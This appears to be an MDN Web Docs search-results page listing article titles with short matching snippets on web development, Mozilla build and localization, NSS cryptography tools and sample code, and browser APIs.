Getting started with Ember - Learn web development
prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/command line.
...ember also has immense backwards and forwards compatibility to help businesses stay up to date with the latest versions of ember and latest community-driven conventions.
... increasing cohesion among many team's technology stacks community-backed "best practices" allow for faster long-term development speed.
...And 12 more matches
SVN for Localizers
the svn client is the localizer's communication portal for accessing the mozilla svn server.
... mac os x users can find svn inside the command line tools (available on the apple developer website), or use tools like homebrew or fink.
...a possible alternative is to install tortoisesvn (graphical interface and command line client).
...And 12 more matches
Enc Dec MAC Output Public Key as CSR
n key label-----" #define lab_trailer "-----end key label-----" #define pubkey_header "-----begin pub key -----" #define pubkey_trailer "-----end pub key -----" #define ns_certreq_header "-----begin new certificate request-----" #define ns_certreq_trailer "-----end new certificate request-----" typedef enum { gen_csr, encrypt, decrypt, unknown } commandtype; typedef enum { symkey = 0, mackey = 1, iv = 2, mac = 3, pad = 4, pubkey = 5, lab = 6 } headertype; /* this is conditionalized because port_errortostring was introduced with nss 3.13.
...s as an input file and produces\n", "note :"); fprintf(stderr, "%-7s .enc and .header as intermediate output files.\n\n", ""); fprintf(stderr, "%-7s for decrypt, it takes .enc and .header\n", ""); fprintf(stderr, "%-7s as input files and produces as a final output file.\n\n", ""); exit(-1); } /* map option letter enumerated commad type */ static commandtype option2command(const char* c) { switch (*c) { case 'g': return gen_csr; case 'e': return encrypt; case 'd': return decrypt; default: return unknown; } } /* * wrap the symkey using public key */ secstatus wrapkey(pk11symkey* key, seckeypublickey *pubkey, secitem **wrappedkey) { secstatus rv; secitem *data = (secitem *)port_zalloc(siz...
...pr_stderr, "error while allocating memory\n"); rv = secfailure; goto cleanup; } rv = pk11_pubwrapsymkey(ckm_rsa_pkcs, pubkey, key, data); if (rv != secsuccess) { rv = secfailure; } else { *wrappedkey = data; return secsuccess; } cleanup: if (data) { secitem_freeitem(data, pr_true); } return rv; } /* * generate a symmetric key */ pk11symkey * generatesymkey(pk11slotinfo *slot, ck_mechanism_type mechanism, int keysize, secitem *keyid, secupwdata *pwdata) { secstatus rv; pk11symkey *key; /* generate the symmetric key */ key = pk11_tokenkeygen(slot, mechanism, null, keysize, keyid, pr_false, pwdata); if (!key) { pr_fprintf(pr_stderr, "symmetric ke...
...And 12 more matches
NSS Tools ssltap
using the ssl debugging tool (ssltap) newsgroup: mozilla.dev.tech.crypto the ssl debugging tool is an ssl-aware command-line proxy.
... description the ssltap command opens a socket on a rendezvous port and waits for an incoming connection from the client side.
... syntax to run the ssl debugging tool, type this command in a command shell: ssltap [-vhfsxl] [-p port] hostname:port options the command does not require any options other than hostname:port, but you normally use them to control the connection interception and output.
...And 12 more matches
Performance
when transactions are committed, sqlite does journaling which requires syncing data to disk.
...the asynchronous writes discussed below removes most of the immediate penalty of a commit, so you will not notice the problem as much.
...a command that will give you a higher level overview is "explain query plan".
...And 12 more matches
Document - Web APIs
WebAPIDocument
" target="_top"><rect x="266" y="1" width="80" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="306" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">document</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} the document interface describes the common properties and methods for any kind of document.
... document.createcomment() creates a new comment node and returns it.
... document.execcommand() on an editable document, executes a formating command.
...And 12 more matches
Value definition syntax - CSS: Cascading Style Sheets
css value definition syntax, a formal grammar, is used for defining the set of valid values for a css property or function.
... literals in css, a few characters can appear on their own, like the slash ('/') or the comma (','), and are used in a property definition to separate its parts.
... the comma is often used to separate values in enumerations, or parameters in mathematical-like functions; the slash often separates parts of the value that are semantically different, but have a common syntax.
...And 12 more matches
Browser detection using the user agent - HTTP
if the problem seems uncommon, it's worth checking if this bug has been reported to the browser vendor via their bug tracking system (mozilla; webkit; blink; opera).
... mobile device detection arguably the most common use and misuse of user agent sniffing is to detect if the device is a mobile device.
...there a single instance of a dog box immediately above a cat box, of course.
...And 12 more matches
Introduction - JavaScript
some programming experience.
... if you are new to programming, try one of the tutorials linked on the main page about javascript.
... where to find javascript information the javascript documentation on mdn includes the following: learn web development provides information for beginners and introduces basic concepts of programming and the internet.
...And 12 more matches
MenuItems - Archive of obsolete content
features of the menuitem element the menuitem element has a number of features beyond just being a label for a menu command.
...for the "open" item in this example, this command can be invoked by using the "accel" modifier key and pressing 'o'.
...when the user activates the menuitem, the command event gets fired.
...And 11 more matches
Keyboard Shortcuts - Archive of obsolete content
however, it would be tedious to do that for every button and menu item (though it could be necessary when one's key commands are only triggered when the user is focused on a particular element).
... example 1 : source view <menubar id="sample-menubar"> <menu id="file-menu" label="file" accesskey="f"> <menupopup id="file-popup"> <menuitem id="close-command" label="close" accesskey="c"/> </menupopup> </menu> </menubar> you can also use the accesskey attribute on buttons.
...this is the command key on the macintosh.
...And 11 more matches
Archived Mozilla and build documentation - Archive of obsolete content
it also includes tools for looking at checkin logs (and comments); doing diffs between various versions of a file; and finding out which person is responsible for changing a particular line of code ("cvsblame").
... creating a hybrid cd creating a microsummary a microsummary generator is a set of instructions for creating a microsummary from the content of a page.
... web pages can reference generators via <link rel="microsummary"> elements in their <head> elements.
...And 11 more matches
JavaScript basics - Learn web development
previous overview: getting started with the web next javascript is a programming language that adds interactivity to your website.
... javascript ("js" for short) is a full-fledged dynamic programming language that can add interactivity to a website.
...these include: browser application programming interfaces (apis) built into web browsers, providing functionality such as dynamically creating html and setting css styles; collecting and manipulating a video stream from a user's webcam, or generating 3d graphics and audio samples.
...And 11 more matches
Arrays - Learn web development
creating arrays arrays consist of square brackets and elements that are separated by commas.
...paste the following code into the console: let shopping = ['bread', 'milk', 'cheese', 'hummus', 'noodles']; shopping; in the above example, each element is a string, but in an array we can store various data types — strings, numbers, objects, and even other arrays.
...try this: shopping[0] = 'tahini'; shopping; // shopping will now return [ "tahini", "milk", "cheese", "hummus", "noodles" ] note: we've said it before, but just as a reminder — computers start counting from 0!
...And 11 more matches
Advanced Svelte: Reactivity, lifecycle, accessibility - Learn web development
to avoid common pitfalls, we'll have to dig a little deeper into svelte's reactivity system.
... prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/command line.
...so far, we've seen how components can share data using props, and communicate with their parents using events and two-way data binding.
...And 11 more matches
Simple SeaMonkey build
you can build a bleeding-edge, development version of seamonkey using the commands below.
...minimum and recommended hardware requirements for mozilla development are: recommended: 8gb of ram (having only 4gb ram and 4gb swap may give memory errors during compile) 35 gb free disk space.
... this will accomodate visual studio 2013 community edition, the required sdks, the mozillabuild package, the mercurial source repository and enough free disk space to compile.
...And 11 more matches
Simple Thunderbird build
8 gb or more is recommended.
...you can pick any other location, such as a new directory c:/thunderbird-src (where "c:/", with a forward slash, is intentional to clarify you are in the mozillabuild command prompt per windows build prerequisite).
...then, get the latest thunderbird source code from mozilla's comm-central mercurial code repository.
...And 11 more matches
Message manager overview
message managers are designed to enable code in one process to communicate with code in a different process.
... process message managers: these correspond to process boundaries, and enable code running in the parent (chrome) process to communicate with code running in the child (content) process.
... frame message managers in multiprocess firefox, when chrome code needs to interact with web content, it needs to: factor the code that needs direct access to content into separate scripts, which are called "frame scripts" use a frame message manager to load these frame scripts into the content process use the frame message manager api to communicate with the frame script some older articles on multiprocess firefox and the message manager might refer to "content scripts" instead of "frame scripts", but this usage is deprecated because the add-on sdk uses "content script" to refer to a similar but different kind of script.
...And 11 more matches
How to implement a custom autocomplete search component
basic example for gecko 2.0 and up (firefox 4 / thunderbird 3.3 / seamonkey 2.1) this example is your first best try because: it has no specific logic (it just returns a dummy array of choices) it doesn't care about compatibility with older gecko versions first copy the following javascript code into a file named basic_autocomplete.js into the components directory (or whatever components folder is appropriate in your case): warning: the uuid used below in chrome.manifest and assigned to class_id must be changed before use.
...nge this const class_name = "basic autocomplete"; const contract_id = '@mozilla.org/autocomplete/search;1?name=basic-autocomplete'; /** * @constructor * * @implements {nsiautocompleteresult} * * @param {string} searchstring * @param {number} searchresult * @param {number} defaultindex * @param {string} errordescription * @param {array.<string>} results * @param {array.<string>|null=} comments */ function providerautocompleteresult(searchstring, searchresult, defaultindex, errordescription, results, comments) { this._searchstring = searchstring; this._searchresult = searchresult; this._defaultindex = defaultindex; this._errordescription = errordescription; this._results = results; this._comments = comments; } providerautocompleteresult.prototype = { _searchstring:...
... "", _searchresult: 0, _defaultindex: 0, _errordescription: "", _results: [], _comments: [], /** * @return {string} the original search string */ get searchstring() { return this._searchstring; }, /** * @return {number} the result code of this result object, either: * result_ignored (invalid searchstring) * result_failure (failure) * result_nomatch (no matches found) * result_success (matches found) */ get searchresult() { return this._searchresult; }, /** * @return {number} the index of the default item that should be entered if * none is selected */ get defaultindex() { return this._defaultindex; }, /** * @return {string} description of the cause of a search failure */ get errordescript...
...And 11 more matches
Localizing without a specialized tool
with that document, users can see immediately two localized files in their user interface by following closely and carefully the steps to create a language pack or a binary file that is ready for installation.
...older structure in all examples: your working directory (root) mozilla-1.9.2 (en-us source, pulled from http://hg.mozilla.org/releases/mozilla-1.9.2) l10n-mozilla-1.9.2 (a directory containing localization directories, one dir per localization; often referred to as "l10n base") x-testing (a directory with your localization files) please either follow this structure closely or adjust all commands in the documentation as needed by your custom set-up.
... get the source change your current directory to your working directory with the following command: $ cd /path/to/your/working/directory first, you will need to check out the sources of mozilla-1.9.2 together with the en-us strings.
...And 11 more matches
Release phase
we'll primarily focus on getting your release repository setup and the mercurial commands you'll need to know to use that repository.
... add the following lines to your ~/.ssh/config file, replacing user@host.domain with your mozilla ldap account name: host hg.mozilla.org user user@host.domain if you have already cloned the remote repository using the http protocol using this command: $ hg clone http://hg.mozilla.org/releases/l10n-central/x-testing then you will need to edit the .hg/hgrc file (inside the x-testing local clone) to tell mercurial to push using ssh.
... your .hg/hgrc file shoud look like this (add the emphasized line): [paths] default = hg.mozilla.org/releases/l10n-central/x-testing default-push = ssh://hg.mozilla.org/releases/l10n-central/x-testing if you haven't already cloned the remote repository, enter this command: hg clone ssh://hg.mozilla.org/releases/l10n-central/x-testing mercurial will let you know that it's cloning the repository: destination directory: x-testing requesting all changes adding changesets adding manifests adding file changes added 4 changesets with 242 changes to 239 files updating to branch default 239 files updated, 0 files merged, 0 files removed, 0 files unresolved the default push url is the same as the default pull url (i.e., ssh://hg.mozilla.org/releases/l10n-central/x-testing).
...And 11 more matches
NSS Sample Code Sample1
this program shows the following: rsa key pair generation naming rsa key pairs looking up a previously generated key pair by name creating aes and mac keys (or encryption and mac keys in general) wrapping symmetric keys using your own rsa key pair so that they can be stored on disk or in a database.
... as an alternative to token symmetric keys as a way to store large numbers of symmetric keys wrapping symmetric keys using an rsa key from another server unwrapping keys using your own rsa key pair the main part of the program shows a typical sequence of events for two servers that are trying to extablish a shared key pair.
...the primary host generates a new symmetric key.
...And 11 more matches
NSS tools : crlutil
please contribute to the initial review in mozilla nss bug 836477[1] description the certificate revocation list (crl) management tool, crlutil, is a command-line utility that can list, generate, modify, or delete crls within the nss security database file(s) and list, create, modify or delete certificates entries in a particular crl.
... to run the certificate revocation list management tool, type the command crlutil option [arguments] where options and arguments are combinations of the options and arguments listed in the following section.
... each command takes one option.
...And 11 more matches
NSS Tools crlutil
using the certificate revocation list management tool newsgroup: mozilla.dev.tech.crypto the certificate revocation list (crl) management tool is a command-line utility that can list, generate, modify, or delete crls within the nss security database file(s) and list, create, modify or delete certificates entries in a particular crl.
... syntax to run the certificate revocation list management tool, type the command crlutil option [arguments] where options and arguments are combinations of the options and arguments listed in the following section.
... each command takes one option.
...And 11 more matches
NSS tools : crlutil
MozillaProjectsNSStoolscrlutil
synopsis crlutil [options] arguments description the certificate revocation list (crl) management tool, crlutil, is a command-line utility that can list, generate, modify, or delete crls within the nss security database file(s) and list, create, modify or delete certificates entries in a particular crl.
... to run the certificate revocation list management tool, type the command crlutil option [arguments] where options and arguments are combinations of the options and arguments listed in the following section.
... each command takes one option.
...And 11 more matches
Bytecode Descriptions
int32 operands: (int32_t val) stack: ⇒ val push the int32_t immediate operand as an int32value.
... int8 operands: (int8_t val) stack: ⇒ val push the int8_t immediate operand as an int32value.
... uint16 operands: (uint16_t val) stack: ⇒ val push the uint16_t immediate operand as an int32value.
...And 11 more matches
WebGL best practices - Web APIs
webgl is a complicated api, and it's often not obvious what the recommended ways to use it are.
... this page tackles recommendations across the spectrum of expertise, and not only highlights dos and don'ts, but also details why.
... flush when expecting results (like queries or rendering frame completion) flush tells the implementation to push all pending commands out for execution, flushing them out of the queue, instead of waiting for more commands to enqueue before sending for execution.
...And 11 more matches
Fundamentals of WebXR - Web APIs
a wide fov can substantially improve the user's sense of immersion.
... there are two vr session modes available in webxr: inline and immersive.
...the immersive session mode is indicated using the session mode immersive-vr.
...And 11 more matches
Starting up and shutting down a WebXR session - Web APIs
falling back to the webxr polyfill one fallback option is the webxr polyfill, provided by the immersive web working group that's in charge of the webxr standardization process.
...first among these is that use of immersive-vr mode—which entirely replaces the user's view of the world—requires that the xr-spatial-tracking feature policy be in place.
...this can also be used to determine whether to use an immersive or an inline presentation, for example.
...And 11 more matches
<input type="month"> - HTML: Hypertext Markup Language
WebHTMLElementinputmonth
the value is a string whose value is in the format "yyyy-mm", where yyyy is the four-digit year and mm is the month number.
... events change and input supported common attributes autocomplete, list, readonly, and step.
... value a domstring representing the value of the month and year entered into the input, in the form yyyy-mm (four or more digit year, then a hyphen ("-"), followed by the two-digit month).
...And 11 more matches
Chapter 5: Let's build a Firefox extension - Archive of obsolete content
« previousnext » this document was authored by taiga (gomita) gomibuchi and was originally published in japanese for the firefox developers conference summer 2007.
... setting up your development environment in order to develop (and test) extensions in a most convenient way it is recommended to apply some changes to firefox.
...this isn’t a requirement for extension development, but i recommend it as a way to work more efficiently.
...And 10 more matches
Learn XPI Installer Scripting by Example - Archive of obsolete content
note also that when you call methods on the install--as you do so often in installation scripts (getfolder, initinstall, addfile, and performinstall are all examples of common install object methods)--the install object is implicit; like the window object in regular web page scripts, the install object does not need to be prefixed to the method.
...es disk space in kilobytes function verifydiskspace(dirpath, spacerequired) { var spaceavailable; // get the available disk space on the given path spaceavailable = filegetdiskspaceavailable(dirpath); // convert the available disk space into kilobytes spaceavailable = parseint(spaceavailable / 1024); // do the verification if(spaceavailable < spacerequired) { logcomment("insufficient disk space: " + dirpath); logcomment(" required : " + spacerequired + " k"); logcomment(" available: " + spaceavailable + " k"); return(false); } return(true); } in the verifydiskspace block, filegetdiskspaceavailable is called with dirpath as its expected input.
... this input is defined in line 22, where getfolder() is used to assign a value to the communicatorfolder variable representing the "program" folder on the local system: var communicatorfolder = getfolder("program"); spaceavailable = filegetdiskspaceavailable(dirpath); spacerequired, the other expected input to the verifydiskspace function, is given as 17311 kilobytes on line 19.
...And 10 more matches
Creating toolbar buttons (Customize Toolbar Window) - Archive of obsolete content
you can find a list of uris for the most commonly overlaid documents at the bottom of this page.
... adding the toolbar button toolkit applications have customizable toolbars; therefore, it's common practice for extensions to add their toolbar buttons to the toolbar palette, rather than adding them directly to the toolbar.
... the latter is possible, but is not recommended and is harder to implement.
...And 10 more matches
textbox - Archive of obsolete content
if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
... possible values: pasteintact paste newlines unchanged pastetofirst paste text up to the first newline, dropping the rest of the text replacewithcommas pastes the text with the newlines replaced with commas replacewithspaces pastes the text with newlines replaced with spaces strip pastes the text with the newlines removed stripsurroundingwhitespace pastes the text with newlines and adjacent whitespace removed onblur type: script code this event is sent when a textbox loses keyboard focus.
... searchbutton type: boolean if true, the search field will only fire a command event when the user presses the search button or presses the enter key.
...And 10 more matches
Windows Media in Netscape - Archive of obsolete content
activexobject both geckoactivexobject and activexobject work very similarly, with one key difference: both take a programmatic id (progid) and use it to create a reference to the windows media player.
...for example if (window.activexobject) { // internet explorer only script } server-side detection using user-agent strings netscape 7.1's user agent string on windows has the general pattern: mozilla/5.0 (windows; u; <em>operating system version</em>; <em>language</em>; rv:1.4) gecko/20030624 netscape/7.1 (ax<em>[;optional comments]</em>) the "vendor comment" (ax) following the "vendor version" netscape/7.1 is an indicator that the browser supports the windows media player activex control.
... for example on windows xp, netscape 7.1's user agent string may be: mozilla/5.0 (windows; u; windows nt 5.1; en-us; rv:1.4) gecko/20030624 netscape/7.1 (ax) if the client was customized by a third party, additional information may be present in the "vendor comment" area of the user agent string.
...And 10 more matches
Anatomy of a video game - Game development
experienced game programmers who are new to web development could also benefit, too.
...not surprisingly, this pattern corresponds to how a game engine is programmed.
...on the web, window.requestanimationframe() will be the foundation of most well-programmed per-frame main loops.
...And 10 more matches
How do I use GitHub Pages? - Learn web development
publishing content github is a very important and useful community to get involved in, and git/github is a very popular version control system — most tech companies now use it in their workflow.
...to do this: point the command line to your test-site directory (or whatever you called the directory containing your website).
... for this, use the cd command (i.e.
...And 10 more matches
Introduction to web APIs - Learn web development
application programming interfaces (apis) are constructs made available in programming languages to allow developers to create complex functionality more easily.
... image source: overloaded plug socket by the clear communication people, on flickr.
...note that javascript is also available in other programming environments, such as node.
...And 10 more matches
Gecko info for Windows accessibility vendors
(i recommend sdk 1.3 because the msaa sdk 2.0 doesn't come with the source code to the testing tools.
... ajax: asynchronous javascript and xml ajax is a method of building interactive web applications that process user requests, user actions immediately in real time, unlike an http request, during which users must wait for a whole page to reload or for a new page to load.
...this is done to ensure a common look and feel across all supported platforms, and to allow for different skins (appearances).
...And 10 more matches
DMD
desktop firefox (linux) build build firefox with these options: ac_add_options --enable-dmd if building via try server, modify browser/config/mozconfigs/linux64/common-opt or a similar file before pushing.
...with the following command.
... $ killall -34 firefox each one of these steps triggers all the memory reporters and then dmd analyzes the reports, printing commentary like this: dmd[5222] opened /tmp/dmd-1414556492-5222.json.gz for writing dmd[5222] dump 1 { dmd[5222] constructing the heap block list...
...And 10 more matches
Mozilla internal string guide
common read-only methods: .length() - the number of code units (bytes for 8-bit string classes and char16_ts for 16-bit string classes) in the string.
... common methods that modify the string: .assign(string) - assigns a new value to the string.
...you can see both of these uses in common patterns, below.
...And 10 more matches
Migrating from Firebug - Firefox Developer Tools
it shows log information associated with a web page and allows you to execute javascript expressions via its command line.
... command line api the command line api in firebug provides some special functions for your convenience.
... the developer tools command line has some functions in common, but also has some other functions and misses others.
...And 10 more matches
Introduction to the DOM - Web APIs
the document object model (dom) is a programming interface for html and xml documents.
...that way, programming languages can connect to the page.
...the dom is not a programming language, but without it, the javascript language wouldn't have any model or notion of web pages, html documents, xml documents, and their component parts (e.g.
...And 10 more matches
PerformanceResourceTiming - Web APIs
performanceresourcetiming.workerstartread only returns a domhighrestimestamp immediately before dispatching the fetchevent if a service worker thread is already running, or immediately before starting the service worker thread if it is not already running.
... performanceresourcetiming.redirectendread only a domhighrestimestamp immediately after receiving the last byte of the response of the last redirect.
... performanceresourcetiming.fetchstartread only a domhighrestimestamp immediately before the browser starts to fetch the resource.
...And 10 more matches
ARIA annotations - Accessibility
an addition and/or deletion in an editable document), and comments (e.g.
... an editorial comment related to a part of a document under review).
... role="comment" — semantically denotes a comment/reaction to some content on the page, or to a previous comment.
...And 10 more matches
CSS values and units - CSS: Cascading Style Sheets
there are a common set of data types -- values and units -- that css properties accept.
... .box { background-image: url("images/my-background.png"); } .box { background-image: url("https://www.exammple.com/images/my-background.png"); } the parameter for url() can be either quoted or unquoted.
...for example, mm is a physical millimeter, 1/10th of a centimeter.
...And 10 more matches
height - SVG: Scalable Vector Graphics
WebSVGAttributeheight
specifications specification status comment filter effects module level 1the definition of 'height' in that specification.
... candidate recommendation definition for <mask> scalable vector graphics (svg) 2the definition of 'height' in that specification.
... candidate recommendation definition as a geometry property scalable vector graphics (svg) 2the definition of 'height' in that specification.
...And 10 more matches
width - SVG: Scalable Vector Graphics
WebSVGAttributewidth
specifications specification status comment filter effects module level 1the definition of 'width' in that specification.
... candidate recommendation definition for <mask> scalable vector graphics (svg) 2the definition of 'width' in that specification.
... candidate recommendation definition as a geometry property scalable vector graphics (svg) 2the definition of 'width' in that specification.
...And 10 more matches
Content Scripts - Archive of obsolete content
a message-passing api allows the main code and content scripts to communicate with each other this complete add-on illustrates all of these principles.
...it takes one of: "start": load the scripts immediately after the document element for the page is inserted into the dom.
...function() { window.alert("it's my click now!"); } </script> </body> </html> for these reasons, it's better to add event listeners using addeventlistener(), defining the listener as a function: var themessage = "hello from content script!"; anelement.onclick = function() { alert(themessage); }; anotherelement.addeventlistener("click", function() { alert(themessage); }); communicating with the add-on to enable add-on scripts and content scripts to communicate with each other, each end of the conversation has access to a port object.
...And 9 more matches
MenuButtons - Archive of obsolete content
the 'menu' button the 'menu' type of button is used when pressing the button alone should just open the menu and not execute a command directly.
... this works similarly to the menu tag, and would be used to present a set of commands to execute.
...this is accomplished by dividing the button into two parts, one with the label and image to carry out the default command and the second to show the menu.
...And 9 more matches
key - Archive of obsolete content
ArchiveMozillaXULkey
when a key matching the attributes on the key element is pressed, the command will be fired on the key element.
... for the shortcut defined using the key element to work, you must specify a command attribute (or an oncommand handler) on the key element.
... to display the shortcut defined with the key element in the ui, you can use <menuitem key="key element's id" command="command id" .../>.
...And 9 more matches
prefwindow - Archive of obsolete content
on platforms where the convention is to apply changes immediately, the preferences are adjusted as soon as the user interface element is changed.
...a true value for this preference makes the preference window apply immediately the user choices, without waiting for the dialog to close with ok.
... note for mac os x: a common way of opening modal windows on mac os x that are not attached as a sheet to the main window is to use nsiwindowwatcher.openwindow() with a null parentwindow.
...And 9 more matches
Visual typescript game engine - Game development
text editor used and recommended: visual studio code.
...networking is based on websocket full-duplex communication only.you must be conform with classic socket connection methodology.
...already implemented: -video chat webrtc (sip) chat and data communication.
...And 9 more matches
Floats - Learn web development
previous overview: css layout next originally for floating images inside blocks of text, the float property became one of the most commonly used tools for creating multiple column layouts on webpages.
... floats have commonly been used to create entire web site layouts featuring multiple columns of information floated so they sit alongside one another (the default behavior would be for the columns to sit below one another, in the same order as they appear in the source).
...proin blandit quam nec lacus varius commodo et a urna.
...And 9 more matches
Getting started with React - Learn web development
prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/command line.
...compilation is an extra step in the development process, but many developers in the react community think that the readability of jsx is worthwhile.
... setting up your first react app there are many ways to use react, but we're going to use the command-line interface (cli) tool create-react-app, as mentioned earlier, which expedites the process of developing a react application by installing some packages and creating some files for you, handling the tooling described above.
...And 9 more matches
TypeScript support in Svelte - Learn web development
prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/command line.
...one of the big benefits is enabling ides to provide a richer environment for spotting common errors as you type the code.
...all you have to do is run the following terminal commands (run them somewhere where you are storing your svelte test projects — it creates a new directory): npx degit sveltejs/template svelte-typescript-app cd svelte-typescript-app node scripts/setuptypescript.js this creates a starter project that includes typescript support, which you can then modify as you wish.
...And 9 more matches
Introduction to cross browser testing - Learn web development
overview: cross browser testing next this article starts the module off by providing an overview of the topic of (cross) browser testing, answering questions such as "what is cross browser testing?", "what are the most common types of problems you'll encounter?", and "what are the main approaches for testing, identifying, and fixing problems?" prerequisites: familiarity with the core html, css, and javascript languages.
... cross browser issues commonly occur because: sometimes browsers have bugs, or implement features differently.
... in later articles, we'll explore common cross browser problems, and look at solutions to those.
...And 9 more matches
Client-side tooling overview - Learn web development
there are some extremely well-established tools that have become common "household names" amongst the development community, and new tools are being written and released every day to solve specific problems.
... this part of the tooling should be specific to your own development environment, though it’s not uncommon for companies to have some kind of policy or pre-baked configuration available to install so that all their developers are all using the same processes.
... a few very common safety net tool types you will find being used by developers are as follows.
...And 9 more matches
Configuring Build Options
build options, including options not usable from the command-line, may appear in "confvars.sh" files in the source tree.
...(it is possible to manually call configure with command-line options, but this is not recommended).
... the mozconfig file should be in your source directory (that is, /mozilla-central/mozconfig or /comm-central/mozconfig).
...And 9 more matches
The Firefox codebase: CSS Guidelines
basics here are some basic tips that can optimize reviews if you are changing css: avoid !important but if you have to use it, make sure it's obvious why you're using it (ideally with a comment).
... before adding more css it is good practice to check if the css that is being written is needed, it can be the case that a common component has been already written could be reused with or without changes.
... most of the time, the common component already follows the a11y/theme standards defined in this guide.
...And 9 more matches
Getting Started with Chat
general rules and etiquette once you have your client set up (see software below) and are connected, there are some basic rules you should follow to ensure the most enjoyable and productive experience: as with all mozilla forums and events, agreeing to our community participation guidelines is a requirement for participation.
... channels here is a list of channels you should be aware of as a member of the mozilla community: (remember to use irc.mozilla.org and port 6697 or 6667 for your server settings) #qa a channel for qa discussion #developers a channel for mozilla development discussion #sumo a channel for support with firefox for more information about the mozilla irc network and more channels, go here.
... commands the following is a list of commands you should be familiar with.
...And 9 more matches
IPDL Tutorial
ipdl, short for "inter-process-communication protocol definition language", is a mozilla-specific language allowing c++ code to pass messages between processes or threads in an organized and secure way.
...an ipdl protocol declares how actors communicate: it declares the possible messages that may be sent between actors, as well as a state machine describing when messages are allowed to be sent.
...this generated code manages the details of the underlying communication layer (sockets and pipes), constructing and sending messages, ensuring that all actors adhere to their specifications, and handling many error conditions.
...And 9 more matches
Encrypt Decrypt_MAC_Using Token
r "-----end mackey ckaid-----" #define iv_header "-----begin iv-----" #define iv_trailer "-----end iv-----" #define mac_header "-----begin mac-----" #define mac_trailer "-----end mac-----" #define pad_header "-----begin pad-----" #define pad_trailer "-----end pad-----" typedef enum { encrypt, decrypt, unknown } commandtype; typedef enum { symkey = 0, mackey = 1, iv = 2, mac = 3, pad = 4 } headertype; /* * print usage message and exit.
... */ secstatus gathercka_id(pk11symkey* key, secitem* buf) { secstatus rv = pk11_readrawattribute(pk11_typesymkey, key, cka_id, buf); if (rv != secsuccess) { pr_fprintf(pr_stderr, "pk11_readrawattribute returned (%d)\n", rv); pr_fprintf(pr_stderr, "could not read symkey cka_id attribute\n"); return rv; } return rv; } /* * generate a symmetric key.
...ysize, secitem *keyid, secupwdata *pwdata) { secstatus rv; pk11symkey *key; if (pk11_needlogin(slot)) { rv = pk11_authenticate(slot, pr_true, pwdata); if (rv != secsuccess) { pr_fprintf(pr_stderr, "could not authenticate to token %s.\n", pk11_gettokenname(slot)); return null; } } /* generate the symmetric key.
...And 9 more matches
EncDecMAC using token object - sample 3
encdecmac using token object example: <h2 id="nss_sample_code_3_hashing.">nss sample code 3: enc/dec/mac using token object id.</h2> <p class="summary">computes the hash of a file and saves it to another file, illustrates the use of nss message apis.</p> <pre class="brush: cpp"> /* this source code form is subject to the terms of the mozilla public * license, v.
...kaid-----" #define mackey_header "-----begin mackey ckaid-----" #define mackey_trailer "-----end mackey ckaid-----" #define iv_header "-----begin iv-----" #define iv_trailer "-----end iv-----" #define mac_header "-----begin mac-----" #define mac_trailer "-----end mac-----" #define pad_header "-----begin pad-----" #define pad_trailer "-----end pad-----" typedef enum { encrypt, decrypt, unknown } commandtype; typedef enum { symkey = 0, mackey = 1, iv = 2, mac = 3, pad = 4 } headertype; /* * print usage message and exit */ static void usage(const char *progname) { fprintf(stderr, "\nusage: %s -c -d [-z ] " "[-p | -f ] -i -o \n\n", progname); fprintf(stderr, "%-20s specify 'a' for encrypt operation\n\n", "-c "); fprintf(stderr, "%-20s specify 'b' for decrypt operation\n\n", " "); fprintf(stderr,...
...a final output file.\n\n", ""); exit(-1); } /* * gather a cka_id */ secstatus gathercka_id(pk11symkey* key, secitem* buf) { secstatus rv = pk11_readrawattribute(pk11_typesymkey, key, cka_id, buf); if (rv != secsuccess) { pr_fprintf(pr_stderr, "pk11_readrawattribute returned (%d)\n", rv); pr_fprintf(pr_stderr, "could not read symkey cka_id attribute\n"); return rv; } return rv; } /* * generate a symmetric key */ pk11symkey * generatesymkey(pk11slotinfo *slot, ck_mechanism_type mechanism, int keysize, secitem *keyid, secupwdata *pwdata) { secstatus rv; pk11symkey *key; if (pk11_needlogin(slot)) { rv = pk11_authenticate(slot, pr_true, pwdata); if (rv != secsuccess) { pr_fprintf(pr_stderr, "could not authenticate to token %s.\n", pk11_gettokenname(slot)); return null; } } /* generate the symmetr...
...And 9 more matches
Avoiding leaks in JavaScript XPCOM components
programmers writing and reviewing javascript code in mozilla should understand how code using xpcom in javascript can leak so that they can avoid leaks.
... this document attempts to help them do so, first by explaining the underlying concepts, and second by describing a number of common javascript patterns that cause leaks.
...many programming languages guarantee a solution for (2) and handle all the heap management for the programmer.
...And 9 more matches
Movement, orientation, and motion: A WebXR example - Web APIs
rendering the scene for immersive presentation requires multiple renders of the scene—once from the perspective of each eye.
... this example demonstrates this by showing the canvas on the screen, even when presenting a scene as an immersive display using an xr device.
...this example also imports the webxr polyfill maintained by the immersive web working group, which is the team responsible for the webxr api's specification.
...And 9 more matches
window.location - Web APIs
WebAPIWindowlocation
phasellus adipiscing fermentum nibh ac commodo.
...integer commodo ultricies lorem, eget tincidunt risus viverra et.
...sed commodo aliquam aliquam.
...And 9 more matches
XRSystem: requestSession() - Web APIs
while only one immersive vr session can be active at a time, multiple inline sessions can be in progress at once.
...the supported modes are: immersive-ar the session's output will be given exclusive access to the immersive device, but the rendered content will be blended with the real-world environment.
... important: the immersive-ar mode is defined by the webxr augmented reality module, which is not yet stable and should not be used other than for testing and experimentation.
...And 9 more matches
Rich-Text Editing in Mozilla - Developer guides
the most basic keyboard commands such as copy and paste are available, all others need to be implemented by the website.
... executing commands when an html document has been switched to designmode, the document object exposes the document.execcommand method which allows one to run commands to manipulate the contents of the editable region.
... most commands affect the document's selection (bold, italics, etc), while others insert new elements (adding a link) or affect an entire line (indenting).
...And 9 more matches
<input type="datetime-local"> - HTML: Hypertext Markup Language
events change and input supported common attributes autocomplete, list, readonly, and step idl attributes list, value, valueasnumber.
